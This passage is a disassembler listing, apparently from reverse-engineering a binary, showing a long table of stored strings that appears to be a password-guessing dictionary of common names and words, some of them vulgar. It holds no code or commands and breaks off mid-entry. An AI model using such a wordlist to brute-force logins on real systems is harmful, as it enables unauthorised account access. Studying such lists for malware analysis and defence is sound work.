___:00430A30o align 4 aPoop db 'poop',0 ; DATA XREF: ___:00430A2Co align 4 aPonderin db 'ponderin',0 ; DATA XREF: ___:00430A28o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: ___:00430A24o align 4 aPolly db 'polly',0 ; DATA XREF: ___:00430A20o align 4 aPolice db 'police',0 ; DATA XREF: ___:00430A1Co align 4 aPoetry db 'poetry',0 ; DATA XREF: ___:00430A18o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: ___:00430A14o align 4 aPluto db 'pluto',0 ; DATA XREF: ___:00430A10o align 10h aPlover db 'plover',0 ; DATA XREF: ___:00430A0Co align 4 aPlayboy db 'playboy',0 ; DATA XREF: ___:00430A08o aPlane db 'plane',0 ; DATA XREF: ___:00430A04o align 4 aPizza db 'pizza',0 ; DATA XREF: ___:00430A00o align 10h aPiss db 'piss',0 ; DATA XREF: ___:004309FCo align 4 aPinname db 'pinname',0 ; DATA XREF: ___:004309F8o aPimp db 'pimp',0 ; DATA XREF: ___:004309F4o align 4 aPierre db 'pierre',0 ; DATA XREF: ___:004309F0o align 10h aPick db 'pick',0 ; DATA XREF: ___:004309ECo align 4 aPhuck db 'phuck',0 ; DATA XREF: ___:004309E8o align 10h aPhreak db 'phreak',0 ; DATA XREF: ___:004309E4o align 4 aPhrase db 'phrase',0 ; DATA XREF: ___:004309E0o align 10h aPhrack db 'phrack',0 ; DATA XREF: ___:004309DCo align 4 aPhoton db 'photon',0 ; DATA XREF: ___:004309D8o align 10h aPhone db 'phone',0 ; DATA XREF: ___:004309D4o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: ___:004309D0o aPhilip db 'philip',0 ; DATA XREF: ___:004309CCo align 4 aPhil db 'phil',0 ; DATA XREF: ___:004309C8o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004309C4o align 4 aPete db 'pete',0 ; DATA XREF: ___:004309C0o align 10h aPervert db 'pervert',0 ; DATA XREF: ___:004309BCo aPersona db 'persona',0 ; DATA XREF: ___:004309B8o aPersimmo db 'persimmo',0 ; DATA XREF: ___:004309B4o align 4 aPermit db 'permit',0 ; DATA XREF: ___:004309B0o align 4 aPerfect db 'perfect',0 ; DATA XREF: ___:004309ACo aPercolat db 'percolat',0 ; DATA XREF: ___:004309A8o align 4 aPepper db 'pepper',0 ; DATA XREF: ___:004309A4o align 10h aPeoria db 'peoria',0 ; DATA XREF: ___:004309A0o align 4 aPentium db 'pentium',0 ; DATA XREF: ___:0043099Co aPenthous db 'penthous',0 ; DATA XREF: ___:00430998o align 4 aPentagra db 'pentagra',0 ; DATA XREF: ___:00430994o align 4 aPentagon db 'pentagon',0 ; DATA XREF: ___:00430990o align 4 aPenname db 'penname',0 ; DATA XREF: ___:0043098Co aPenis db 'penis',0 ; DATA XREF: ___:00430988o align 4 aPenguin db 'penguin',0 ; DATA XREF: ___:00430984o aPenelope db 'penelope',0 ; DATA XREF: ___:00430980o align 4 aPencil db 'pencil',0 ; DATA XREF: ___:0043097Co align 10h aPecker db 'pecker',0 ; DATA XREF: ___:00430978o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: ___:00430974o aPaula db 'paula',0 ; DATA XREF: ___:00430970o align 4 aPatty db 'patty',0 ; DATA XREF: ___:0043096Co align 10h aPatriot db 'patriot',0 ; DATA XREF: ___:00430968o aPatricia db 'patricia',0 ; DATA XREF: ___:00430964o align 4 aPaste db 'paste',0 ; DATA XREF: ___:00430960o align 4 aPassphra db 'passphra',0 ; DATA XREF: ___:0043095Co align 4 aPascal db 'pascal',0 ; DATA XREF: ___:00430958o align 10h aPapers db 'papers',0 ; DATA XREF: ___:00430954o align 4 aPaper db 'paper',0 ; DATA XREF: ___:00430950o align 10h aPapa db 'papa',0 ; DATA XREF: ___:0043094Co align 4 aPamela db 'pamela',0 ; DATA XREF: ___:00430948o align 10h aPakistan db 'pakistan',0 ; DATA XREF: ___:00430944o align 4 aPaint db 'paint',0 ; DATA XREF: ___:00430940o align 4 aPainless db 'painless',0 ; DATA XREF: ___:0043093Co align 10h aPacker db 'packer',0 ; DATA XREF: ___:00430938o align 4 aPackard db 'packard',0 ; DATA XREF: ___:00430934o aPacific db 'pacific',0 ; DATA XREF: ___:00430930o aOxford db 'oxford',0 ; DATA XREF: ___:0043092Co align 10h aOutside db 'outside',0 ; DATA XREF: ___:00430928o aOutput db 'output',0 ; DATA XREF: ___:00430924o align 10h aOutlaw db 'outlaw',0 ; DATA XREF: ___:00430920o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: ___:0043091Co align 4 aOsiris db 'osiris',0 ; DATA XREF: ___:00430918o align 4 aOscar db 'oscar',0 ; DATA XREF: ___:00430914o align 4 aOrwell db 'orwell',0 ; DATA XREF: ___:00430910o align 4 aOrient db 'orient',0 ; DATA XREF: ___:0043090Co align 4 aOrca db 'orca',0 ; DATA XREF: ___:00430908o align 4 aOperator db 'operator',0 ; DATA XREF: ___:00430904o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: ___:00430900o align 4 aOpenlock db 'openlock',0 ; DATA XREF: ___:004308FCo align 10h aOpening db 'opening',0 ; DATA XREF: ___:004308F8o aOmega db 'omega',0 ; DATA XREF: ___:004308F0o align 10h aOlivia db 'olivia',0 ; DATA XREF: ___:004308ECo align 4 aOlivetti db 'olivetti',0 ; DATA XREF: ___:004308E8o align 4 aOldage db 'oldage',0 ; DATA XREF: ___:004308E4o align 4 aOkay db 'okay',0 ; DATA XREF: ___:004308E0o align 4 aOffice db 'office',0 ; DATA XREF: ___:004308DCo align 4 aOcelot db 'ocelot',0 ; DATA XREF: ___:004308D8o align 4 aOceanogr db 'oceanogr',0 ; DATA XREF: ___:004308D4o align 10h aObscurit db 'obscurit',0 ; DATA XREF: ___:004308D0o align 4 aNyquist db 'nyquist',0 ; DATA XREF: ___:004308CCo aNuts db 'nuts',0 ; DATA XREF: ___:004308C8o align 4 aNutritio db 'nutritio',0 ; DATA XREF: ___:004308C4o align 4 aNumber db 'number',0 ; DATA XREF: ___:004308C0o align 10h aNull_1 db 'null',0 ; DATA XREF: ___:004308BCo align 4 aNukem db 'nukem',0 ; DATA XREF: ___:004308B8o align 10h aNuke db 'nuke',0 ; DATA XREF: ___:004308B4o align 4 aNude db 'nude',0 ; DATA XREF: ___:004308B0o align 10h aNuclear db 'nuclear',0 ; DATA XREF: ___:004308ACo aNoxious db 'noxious',0 ; DATA XREF: ___:004308A8o aNovember db 'november',0 ; DATA XREF: ___:004308A4o align 4 aNovel db 'novel',0 ; DATA XREF: ___:004308A0o align 4 aNova db 'nova',0 ; DATA XREF: ___:0043089Co align 4 aNoth db 'noth',0 ; DATA XREF: ___:00430898o align 4 aNotes db 'notes',0 ; DATA XREF: ___:00430894o align 4 aNoreen db 'noreen',0 ; DATA XREF: ___:00430890o align 4 aNode db 'node',0 ; DATA XREF: ___:0043088Co align 4 aNobody db 'nobody',0 ; DATA XREF: ___:00430888o align 4 aNoble db 'noble',0 ; DATA XREF: ___:00430884o align 4 aNnaacp db 'nnaacp',0 ; DATA XREF: ___:00430880o align 4 aNita db 'nita',0 ; DATA XREF: ___:0043087Co align 4 aNintendo db 'nintendo',0 ; DATA XREF: ___:00430878o align 4 aNightmar db 'nightmar',0 ; DATA XREF: ___:00430874o align 4 aNight db 'night',0 ; DATA XREF: ___:00430870o align 4 aNicotine db 'nicotine',0 ; DATA XREF: ___:0043086Co align 4 aNicole db 'nicole',0 ; DATA XREF: ___:00430868o align 10h aNice db 'nice',0 ; DATA XREF: ___:00430864o align 4 aNext db 'next',0 ; DATA XREF: ___:00430860o align 10h aNewyork db 'newyork',0 ; DATA XREF: ___:0043085Co aNewton db 'newton',0 ; DATA XREF: ___:00430858o align 10h aNewsgrou db 'newsgrou',0 ; DATA XREF: ___:00430854o align 4 aNews db 'news',0 ; DATA XREF: ___:00430850o align 4 aNewborn db 'newborn',0 ; DATA XREF: ___:0043084Co aNetwork_0 db 'network',0 ; DATA XREF: ___:00430848o aNetscape db 'netscape',0 ; DATA XREF: ___:00430844o align 10h aNess db 'ness',0 ; DATA XREF: ___:00430840o align 4 aNeptune db 'neptune',0 ; DATA XREF: ___:0043083Co aNepenthe db 'nepenthe',0 ; DATA XREF: ___:00430838o align 4 aNavy db 'navy',0 ; DATA XREF: ___:00430834o align 4 aNasa db 'nasa',0 ; DATA XREF: ___:00430830o align 4 aNapoleon db 'napoleon',0 ; DATA XREF: ___:0043082Co align 4 aNancy db 'nancy',0 ; DATA XREF: ___:00430828o align 10h aName db 'name',0 ; DATA XREF: ___:00430824o align 4 aNagel db 'nagel',0 ; DATA XREF: ___:00430820o align 10h aMutant db 'mutant',0 ; DATA XREF: ___:0043081Co align 4 aMuppets db 'muppets',0 ; DATA XREF: ___:00430818o aMsdos db 'msdos',0 ; DATA XREF: ___:00430814o align 4 aMpeg db 'mpeg',0 ; DATA XREF: ___:00430810o align 10h aMozart db 'mozart',0 ; DATA XREF: ___:0043080Co align 4 aMovies db 'movies',0 ; DATA XREF: ___:00430808o align 10h aMovie db 'movie',0 ; DATA XREF: ___:00430804o align 4 aMove db 'move',0 ; DATA XREF: ___:00430800o align 10h aMouse db 'mouse',0 ; DATA XREF: ___:004307FCo align 4 aMountain db 'mountain',0 ; DATA XREF: ___:004307F8o align 4 aMosaic db 'mosaic',0 ; DATA XREF: ___:004307F4o align 4 aMortgage db 'mortgage',0 ; DATA XREF: ___:004307F0o align 4 aMortalco db 'mortalco',0 ; DATA XREF: ___:004307ECo align 4 aMortal db 'mortal',0 ; DATA XREF: ___:004307E8o align 4 aMorris db 'morris',0 ; DATA XREF: ___:004307E4o align 4 aMorley db 'morley',0 ; DATA XREF: ___:004307E0o align 4 aMore db 'more',0 ; DATA XREF: ___:004307DCo align 4 aMoose db 'moose',0 ; DATA XREF: ___:004307D8o align 4 aMoor db 'moor',0 ; DATA XREF: ___:004307D4o align 4 aMoom db 'moom',0 ; DATA XREF: ___:004307D0o align 4 aMonica db 'monica',0 ; DATA XREF: ___:004307CCo align 4 aMonday db 'monday',0 ; DATA XREF: ___:004307C8o align 4 aMoguls db 'moguls',0 ; DATA XREF: ___:004307C4o align 4 aMogul db 'mogul',0 ; DATA XREF: ___:004307C0o align 4 aModem db 'modem',0 ; DATA XREF: ___:004307BCo align 4 aMode db 'mode',0 ; DATA XREF: ___:004307B8o align 4 aMkii db 'mkii',0 ; DATA XREF: ___:004307B4o align 4 aMission db 'mission',0 ; DATA XREF: ___:004307B0o aMisfit db 'misfit',0 ; DATA XREF: ___:004307ACo align 4 aMinsky db 'minsky',0 ; DATA XREF: ___:004307A8o align 4 aMinimum db 'minimum',0 ; DATA XREF: ___:004307A4o aMine db 'mine',0 ; DATA XREF: ___:004307A0o align 4 aMike db 'mike',0 ; DATA XREF: ___:0043079Co align 4 aMidieval db 'midieval',0 ; DATA XREF: ___:00430798o align 10h aMicrosof db 'microsof',0 ; DATA XREF: ___:00430794o align 4 aMicropro db 'micropro',0 ; DATA XREF: ___:00430790o align 4 aMicrochi db 'microchi',0 ; DATA XREF: ___:0043078Co align 4 aMicro db 'micro',0 ; DATA XREF: ___:00430788o align 4 aMickey db 'mickey',0 ; DATA XREF: ___:00430784o align 4 aMichelle db 'michelle',0 ; DATA XREF: ___:00430780o align 10h aMichele db 'michele',0 ; DATA XREF: ___:0043077Co aMichelan db 'michelan',0 ; DATA XREF: ___:00430778o align 4 aMichel db 'michel',0 ; DATA XREF: ___:00430774o align 4 aMichael db 'michael',0 ; DATA XREF: ___:00430770o aMice db 'mice',0 ; DATA XREF: ___:0043076Co align 4 aMets db 'mets',0 ; DATA XREF: ___:00430768o align 4 aMetalica db 'metalica',0 ; DATA XREF: ___:00430764o align 10h aMetalhea db 'metalhea',0 ; DATA XREF: ___:00430760o align 4 aMetal db 'metal',0 ; DATA XREF: ___:0043075Co align 4 aMerlin db 'merlin',0 ; DATA XREF: ___:00430758o align 4 aMercury db 'mercury',0 ; DATA XREF: ___:00430754o aMenu db 'menu',0 ; DATA XREF: ___:00430750o align 4 aMenace db 'menace',0 ; DATA XREF: ___:0043074Co align 4 aMemory db 'memory',0 ; DATA XREF: ___:00430748o align 4 aMember db 'member',0 ; DATA XREF: ___:00430744o align 4 aMelrose db 'melrose',0 ; DATA XREF: ___:00430740o aMellon db 'mellon',0 ; DATA XREF: ___:0043073Co align 4 aMelissa db 'melissa',0 ; DATA XREF: ___:00430738o aMegan db 'megan',0 ; DATA XREF: ___:00430734o align 4 aMegadeth db 'megadeth',0 ; DATA XREF: ___:00430730o align 10h aMegabyte db 'megabyte',0 ; DATA XREF: ___:0043072Co align 4 aMeagan db 'meagan',0 ; DATA XREF: ___:00430728o align 4 aMaurice db 'maurice',0 ; DATA XREF: ___:00430724o aMath db 'math',0 ; DATA XREF: ___:00430720o align 4 aMaster db 'master',0 ; DATA XREF: ___:0043071Co align 4 aMason db 'mason',0 ; DATA XREF: ___:00430718o align 4 aMary db 'mary',0 ; DATA XREF: ___:00430714o align 4 aMarvin db 'marvin',0 ; DATA XREF: ___:00430710o align 4 aMarty db 'marty',0 ; DATA XREF: ___:0043070Co align 4 aMars db 'mars',0 ; DATA XREF: ___:00430708o align 4 aMarriage db 'marriage',0 ; DATA XREF: ___:00430704o align 10h aMarni db 'marni',0 ; DATA XREF: ___:00430700o align 4 aMarkus db 'markus',0 ; DATA XREF: ___:004306FCo align 10h aMark db 'mark',0 ; DATA XREF: ___:004306F8o align 4 aMarines db 'marines',0 ; DATA XREF: ___:004306F4o aMarijuan db 'marijuan',0 ; DATA XREF: ___:004306F0o align 4 aMarietta db 'marietta',0 ; DATA XREF: ___:004306ECo align 4 aMariens db 'mariens',0 ; DATA XREF: ___:004306E8o aMaria db 'maria',0 ; DATA XREF: ___:004306E4o align 4 aMarcy db 'marcy',0 ; DATA XREF: ___:004306E0o align 10h aMarci db 'marci',0 ; DATA XREF: ___:004306DCo align 4 aMara db 'mara',0 ; DATA XREF: ___:004306D8o align 10h aManager db 'manager',0 ; DATA XREF: ___:004306D4o aMana db 'mana',0 ; DATA XREF: ___:004306D0o align 10h aMalcom db 'malcom',0 ; DATA XREF: ___:004306CCo align 4 aMalcolm db 'malcolm',0 ; DATA XREF: ___:004306C8o aMaint db 'maint',0 ; DATA XREF: ___:004306C4o align 4 aMail db 'mail',0 ; DATA XREF: ___:004306C0o align 10h aMagnet db 'magnet',0 ; DATA XREF: ___:004306BCo align 4 aMagic db 'magic',0 ; DATA XREF: ___:004306B8o align 10h aMaggot db 'maggot',0 ; DATA XREF: ___:004306B4o align 4 aMacro db 'macro',0 ; DATA XREF: ___:004306B0o align 10h aMack db 'mack',0 ; DATA XREF: ___:004306ACo align 4 aMacintos db 'macintos',0 ; DATA XREF: ___:004306A8o align 4 aMachine db 'machine',0 ; DATA XREF: ___:004306A4o aLynne db 'lynne',0 ; DATA XREF: ___:004306A0o align 4 aLynn db 'lynn',0 ; DATA XREF: ___:0043069Co align 4 aLust db 'lust',0 ; DATA XREF: ___:00430698o align 4 aLuke db 'luke',0 ; DATA XREF: ___:00430694o align 4 aLude db 'lude',0 ; DATA XREF: ___:00430690o align 4 aLucy db 'lucy',0 ; DATA XREF: ___:0043068Co align 4 aLucus db 'lucus',0 ; DATA XREF: ___:00430688o align 4 aLuck db 'luck',0 ; DATA XREF: ___:00430684o align 4 aLover db 'lover',0 ; DATA XREF: ___:00430680o align 4 aLovebug db 'lovebug',0 ; DATA XREF: ___:0043067Co aLouis db 'louis',0 ; DATA XREF: ___:00430678o align 4 aLoser db 'loser',0 ; DATA XREF: ___:00430674o align 4 aLorraine db 'lorraine',0 ; DATA XREF: ___:00430670o align 4 aLorin db 'lorin',0 ; DATA XREF: ___:0043066Co align 10h aLori db 'lori',0 ; DATA XREF: ___:00430668o align 4 aLore db 'lore',0 ; DATA XREF: ___:00430664o align 10h aLoose db 'loose',0 ; DATA XREF: ___:00430660o align 4 aLolopc db 'lolopc',0 ; DATA XREF: ___:0043065Co align 10h aLois db 'lois',0 ; DATA XREF: ___:00430658o align 4 aLogout db 'logout',0 ; DATA XREF: ___:00430654o align 10h aLoginwor db 'loginwor',0 ; DATA XREF: ___:00430650o align 4 aLogic db 'logic',0 ; DATA XREF: ___:0043064Co align 4 aLockword db 'lockword',0 ; DATA XREF: ___:00430648o align 10h aLockout db 'lockout',0 ; DATA XREF: ___:00430644o aLock db 'lock',0 ; DATA XREF: ___:00430640o align 10h aLoad db 'load',0 ; DATA XREF: ___:0043063Co align 4 aLive db 'live',0 ; DATA XREF: ___:00430638o align 10h aLiteratu db 'literatu',0 ; DATA XREF: ___:00430634o align 4 aLisp db 'lisp',0 ; DATA XREF: ___:00430630o align 4 aLisa db 'lisa',0 ; DATA XREF: ___:0043062Co align 4 aLips db 'lips',0 ; DATA XREF: ___:00430628o align 4 aLion db 'lion',0 ; DATA XREF: ___:00430624o align 4 aLink db 'link',0 ; DATA XREF: ___:00430620o align 4 aLinda db 'linda',0 ; DATA XREF: ___:0043061Co align 4 aLimited db 'limited',0 ; DATA XREF: ___:00430618o aLimbaugh db 'limbaugh',0 ; DATA XREF: ___:00430614o align 10h aLima db 'lima',0 ; DATA XREF: ___:00430610o align 4 aLightsab db 'lightsab',0 ; DATA XREF: ___:0043060Co align 4 aLight db 'light',0 ; DATA XREF: ___:00430608o align 4 aLife db 'life',0 ; DATA XREF: ___:00430604o align 4 aLicker db 'licker',0 ; DATA XREF: ___:00430600o align 4 aLick db 'lick',0 ; DATA XREF: ___:004305FCo align 4 aLibrary db 'library',0 ; DATA XREF: ___:004305F8o aLiberal db 'liberal',0 ; DATA XREF: ___:004305F4o aLexluthe db 'lexluthe',0 ; DATA XREF: ___:004305F0o align 10h aLewis db 'lewis',0 ; DATA XREF: ___:004305ECo align 4 aLetmein db 'letmein',0 ; DATA XREF: ___:004305E8o aLeslie db 'leslie',0 ; DATA XREF: ___:004305E4o align 4 aLesbian db 'lesbian',0 ; DATA XREF: ___:004305E0o aLeroy db 'leroy',0 ; DATA XREF: ___:004305DCo align 4 aLeland db 'leland',0 ; DATA XREF: ___:004305D8o align 10h aLegal db 'legal',0 ; DATA XREF: ___:004305D4o align 4 aLeftwing db 'leftwing',0 ; DATA XREF: ___:004305D0o align 4 aLeft db 'left',0 ; DATA XREF: ___:004305CCo align 4 aLebesgue db 'lebesgue',0 ; DATA XREF: ___:004305C8o align 4 aLeah db 'leah',0 ; DATA XREF: ___:004305C4o align 10h aLazer db 'lazer',0 ; DATA XREF: ___:004305C0o align 4 aLazarus db 'lazarus',0 ; DATA XREF: ___:004305BCo aLava db 'lava',0 ; DATA XREF: ___:004305B8o align 4 aLaura db 'laura',0 ; DATA XREF: ___:004305B4o align 10h aLaser db 'laser',0 ; DATA XREF: ___:004305B0o align 4 aLarry db 'larry',0 ; DATA XREF: ___:004305ACo align 10h aLarkin db 'larkin',0 ; DATA XREF: ___:004305A8o align 4 aLara db 'lara',0 ; DATA XREF: ___:004305A4o align 10h aLaptop db 'laptop',0 ; DATA XREF: ___:004305A0o align 4 aLana db 'lana',0 ; DATA XREF: ___:0043059Co align 10h aLaminati db 'laminati',0 ; DATA XREF: ___:00430598o align 4 aLambda db 'lambda',0 ; DATA XREF: ___:00430594o align 4 aLakers db 'lakers',0 ; DATA XREF: ___:00430590o align 4 aLadle db 'ladle',0 ; DATA XREF: ___:0043058Co align 4 aLadies db 'ladies',0 ; DATA XREF: ___:00430588o align 4 aKristy db 'kristy',0 ; DATA XREF: ___:00430584o align 4 aKristine db 'kristine',0 ; DATA XREF: ___:00430580o align 10h aKristin db 'kristin',0 ; DATA XREF: ___:0043057Co aKristie db 'kristie',0 ; DATA XREF: ___:00430578o aKristi db 'kristi',0 ; DATA XREF: ___:00430574o align 4 aKristen db 'kristen',0 ; DATA XREF: ___:00430570o aKrista db 'krista',0 ; DATA XREF: ___:0043056Co align 4 aKnown db 'known',0 ; DATA XREF: ___:00430568o align 10h aKnightma db 'knightma',0 ; DATA XREF: ___:00430564o align 4 aKnight db 'knight',0 ; DATA XREF: ___:00430560o align 4 aKnife db 'knife',0 ; DATA XREF: ___:0043055Co align 4 aKlingon db 'klingon',0 ; DATA XREF: ___:00430558o aKitten db 'kitten',0 ; DATA XREF: ___:00430554o align 4 aKissmyas db 'kissmyas',0 ; DATA XREF: ___:00430550o align 4 aKiss db 'kiss',0 ; DATA XREF: ___:0043054Co align 10h aKirkland db 'kirkland',0 ; DATA XREF: ___:00430548o align 4 aKirk db 'kirk',0 ; DATA XREF: ___:00430544o align 4 aKing db 'king',0 ; DATA XREF: ___:00430540o align 4 aKimberly db 'kimberly',0 ; DATA XREF: ___:0043053Co align 4 aKilo db 'kilo',0 ; DATA XREF: ___:00430538o align 10h aKillthem db 'killthem',0 ; DATA XREF: ___:00430534o align 4 aKill db 'kill',0 ; DATA XREF: ___:00430530o align 4 aKids db 'kids',0 ; DATA XREF: ___:0043052Co align 4 aKeyword db 'keyword',0 ; DATA XREF: ___:00430528o aKeyin db 'keyin',0 ; DATA XREF: ___:00430524o align 4 aKeybord db 'keybord',0 ; DATA XREF: ___:00430520o aKewl db 'kewl',0 ; DATA XREF: ___:0043051Co align 4 aKevin db 'kevin',0 ; DATA XREF: ___:00430518o align 4 aKerry db 'kerry',0 ; DATA XREF: ___:00430514o align 4 aKerrie db 'kerrie',0 ; DATA XREF: ___:00430510o align 4 aKerri db 'kerri',0 ; DATA XREF: ___:0043050Co align 4 aKernel db 'kernel',0 ; DATA XREF: ___:00430508o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00430504o align 4 aKeri db 'keri',0 ; DATA XREF: ___:00430500o align 4 aKelly db 'kelly',0 ; DATA XREF: ___:004304FCo align 4 aKatrina db 'katrina',0 ; DATA XREF: ___:004304F8o aKatina db 'katina',0 ; DATA XREF: ___:004304F4o align 4 aKathy db 'kathy',0 ; DATA XREF: ___:004304F0o align 4 aKathrine db 'kathrine',0 ; DATA XREF: ___:004304ECo align 10h aKathleen db 'kathleen',0 ; DATA XREF: ___:004304E8o align 4 aKate db 'kate',0 ; DATA XREF: ___:004304E4o align 4 aKatana db 'katana',0 ; DATA XREF: ___:004304E0o align 4 aKarina db 'karina',0 ; DATA XREF: ___:004304DCo align 4 aKarie db 'karie',0 ; DATA XREF: ___:004304D8o align 4 aKaren db 'karen',0 ; DATA XREF: ___:004304D4o align 4 aKaka db 'kaka',0 ; DATA XREF: ___:004304D0o align 4 aJupiter db 'jupiter',0 ; DATA XREF: ___:004304CCo aJune db 'june',0 ; DATA XREF: ___:004304C8o align 4 aJuliet db 'juliet',0 ; DATA XREF: ___:004304C4o align 4 aJulie db 'julie',0 ; DATA XREF: ___:004304C0o align 4 aJulia db 'julia',0 ; DATA XREF: ___:004304BCo align 4 aJuicy db 'juicy',0 ; DATA XREF: ___:004304B8o align 4 aJuggle db 'juggle',0 ; DATA XREF: ___:004304B4o align 4 aJudy db 'judy',0 ; DATA XREF: ___:004304B0o align 4 aJudith db 'judith',0 ; DATA XREF: ___:004304ACo align 4 aJoyce db 'joyce',0 ; DATA XREF: ___:004304A8o align 4 aJournal db 'journal',0 ; DATA XREF: ___:004304A4o aJoshua db 'joshua',0 ; DATA XREF: ___:004304A0o align 4 aJoseph db 'joseph',0 ; DATA XREF: ___:0043049Co align 4 aJohnny db 'johnny',0 ; DATA XREF: ___:00430498o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: ___:00430494o aJohn db 'john',0 ; DATA XREF: ___:00430490o align 4 aJody db 'jody',0 ; DATA XREF: ___:0043048Co align 4 aJoanne db 'joanne',0 ; DATA XREF: ___:00430488o align 4 aJixian db 'jixian',0 ; DATA XREF: ___:00430484o align 4 aJill db 'jill',0 ; DATA XREF: ___:00430480o align 4 aJewelry db 'jewelry',0 ; DATA XREF: ___:0043047Co aJester db 'jester',0 ; DATA XREF: ___:00430478o align 4 aJessica db 'jessica',0 ; DATA XREF: ___:00430474o aJerusale db 'jerusale',0 ; DATA XREF: ___:00430470o align 10h aJerry db 'jerry',0 ; DATA XREF: ___:0043046Co align 4 aJenny db 'jenny',0 ; DATA XREF: ___:00430468o align 10h aJennifer db 'jennifer',0 ; DATA XREF: ___:00430464o align 4 aJenni db 'jenni',0 ; DATA XREF: ___:00430460o align 4 aJeff db 'jeff',0 ; DATA XREF: ___:0043045Co align 4 aJeanne db 'jeanne',0 ; DATA XREF: ___:00430458o align 4 aJean db 'jean',0 ; DATA XREF: ___:00430454o align 4 aJazz db 'jazz',0 ; DATA XREF: ___:00430450o align 4 aJava db 'java',0 ; DATA XREF: ___:0043044Co align 4 aJasmin db 'jasmin',0 ; DATA XREF: ___:00430448o align 4 aJapan db 'japan',0 ; DATA XREF: ___:00430444o align 4 aJanie db 'janie',0 ; DATA XREF: ___:00430440o align 4 aJanice db 'janice',0 ; DATA XREF: ___:0043043Co align 4 aJanet db 'janet',0 ; DATA XREF: ___:00430438o align 4 aJane db 'jane',0 ; DATA XREF: ___:00430434o align 4 aJail db 'jail',0 ; DATA XREF: ___:00430430o align 4 aJackie db 'jackie',0 ; DATA XREF: ___:0043042Co align 4 aIsis db 'isis',0 ; DATA XREF: ___:00430428o align 4 aIrishman db 'irishman',0 ; DATA XREF: ___:00430424o align 10h aIrene db 'irene',0 ; DATA XREF: ___:00430420o align 4 aInvent db 'invent',0 ; DATA XREF: ___:0043041Co align 10h aInteger db 'integer',0 ; DATA XREF: ___:00430418o aInside db 'inside',0 ; DATA XREF: ___:00430414o align 10h aInput db 'input',0 ; DATA XREF: ___:00430410o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: ___:0043040Co align 4 aInna db 'inna',0 ; DATA XREF: ___:00430408o align 4 aIngrid db 'ingrid',0 ; DATA XREF: ___:00430404o align 4 aIngress db 'ingress',0 ; DATA XREF: ___:00430400o aIngres db 'ingres',0 ; DATA XREF: ___:004303FCo align 4 aIndians db 'indians',0 ; DATA XREF: ___:004303F8o aIndiana db 'indiana',0 ; DATA XREF: ___:004303F4o aIndian db 'indian',0 ; DATA XREF: ___:004303F0o align 4 aIndia db 'india',0 ; DATA XREF: ___:004303ECo align 4 aInclude db 'include',0 ; DATA XREF: ___:004303E8o aImperial db 'imperial',0 ; DATA XREF: ___:004303E4o align 4 aImmortal db 'immortal',0 ; DATA XREF: ___:004303E0o align 4 aImbrogli db 'imbrogli',0 ; DATA XREF: ___:004303DCo align 10h aImage db 'image',0 ; DATA XREF: ___:004303D8o align 4 aIllumina db 'illumina',0 ; DATA XREF: ___:004303D4o align 4 aIcecream db 'icecream',0 ; DATA XREF: ___:004303D0o align 10h aHypertxt db 'hypertxt',0 ; DATA XREF: ___:004303CCo align 4 aHyper db 'hyper',0 ; DATA XREF: ___:004303C8o align 4 aHydrogen db 'hydrogen',0 ; DATA XREF: ___:004303C4o align 10h aHutchins db 'hutchins',0 ; DATA XREF: ___:004303C0o align 4 aHunter db 'hunter',0 ; DATA XREF: ___:004303BCo align 4 aHunt db 'hunt',0 ; DATA XREF: ___:004303B8o align 4 aHttp_0 db 'http',0 ; DATA XREF: ___:004303B4o align 4 aHotel db 'hotel',0 ; DATA XREF: ___:004303B0o align 4 aHotdog db 'hotdog',0 ; DATA XREF: ___:004303ACo align 4 aHost db 'host',0 ; DATA XREF: ___:004303A8o align 4 aHorus db 'horus',0 ; DATA XREF: ___:004303A4o align 4 aHorse db 'horse',0 ; DATA XREF: ___:004303A0o align 4 aHorror db 'horror',0 ; DATA XREF: ___:0043039Co align 4 aHorrible db 'horrible',0 ; DATA XREF: ___:00430398o align 10h aHorny db 'horny',0 ; DATA XREF: ___:00430394o align 4 aHooters db 'hooters',0 ; DATA XREF: ___:00430390o aHooker db 'hooker',0 ; DATA XREF: ___:0043038Co align 4 aHoney db 'honey',0 ; DATA XREF: ___:00430388o align 10h aHomework db 'homework',0 ; DATA XREF: ___:00430384o align 4 aHomer db 'homer',0 ; DATA XREF: ___:00430380o align 4 aHomepage db 'homepage',0 ; DATA XREF: ___:0043037Co align 10h aHollywoo db 'hollywoo',0 ; DATA XREF: ___:00430378o align 4 aHolly db 'holly',0 ; DATA XREF: ___:00430374o align 4 aHole db 'hole',0 ; DATA XREF: ___:00430370o align 4 aHits db 'hits',0 ; DATA XREF: ___:0043036Co align 4 aHitler db 'hitler',0 ; DATA XREF: ___:00430368o align 4 aHighland db 'highland',0 ; DATA XREF: ___:00430364o align 4 aHigh db 'high',0 ; DATA XREF: ___:00430360o align 10h aHidden db 'hidden',0 ; DATA XREF: ___:0043035Co align 4 aHibernia db 'hibernia',0 ; DATA XREF: ___:00430358o align 4 aHiawatha db 'hiawatha',0 ; DATA XREF: ___:00430354o align 10h aHexadeci db 'hexadeci',0 ; DATA XREF: ___:00430350o align 4 aHewlett db 'hewlett',0 ; DATA XREF: ___:0043034Co aHeroin db 'heroin',0 ; DATA XREF: ___:00430348o align 4 aHero db 'hero',0 ; DATA XREF: ___:00430344o align 4 aHerbert db 'herbert',0 ; DATA XREF: ___:00430340o aHerb db 'herb',0 ; DATA XREF: ___:0043033Co align 4 aHelp db 'help',0 ; DATA XREF: ___:00430338o align 4 aHello db 'hello',0 ; DATA XREF: ___:00430334o align 4 aHell db 'hell',0 ; DATA XREF: ___:00430330o align 4 aHeinlein db 'heinlein',0 ; DATA XREF: ___:0043032Co align 4 aHeidi db 'heidi',0 ; DATA XREF: ___:00430328o align 10h aHebrides db 'hebrides',0 ; DATA XREF: ___:00430324o align 4 aHeather db 'heather',0 ; DATA XREF: ___:00430320o aHeathen db 'heathen',0 ; DATA XREF: ___:0043031Co aHeat db 'heat',0 ; DATA XREF: ___:00430318o align 4 aHeadbang db 'headbang',0 ; DATA XREF: ___:00430314o align 10h aHead db 'head',0 ; DATA XREF: ___:00430310o align 4 aHawaii 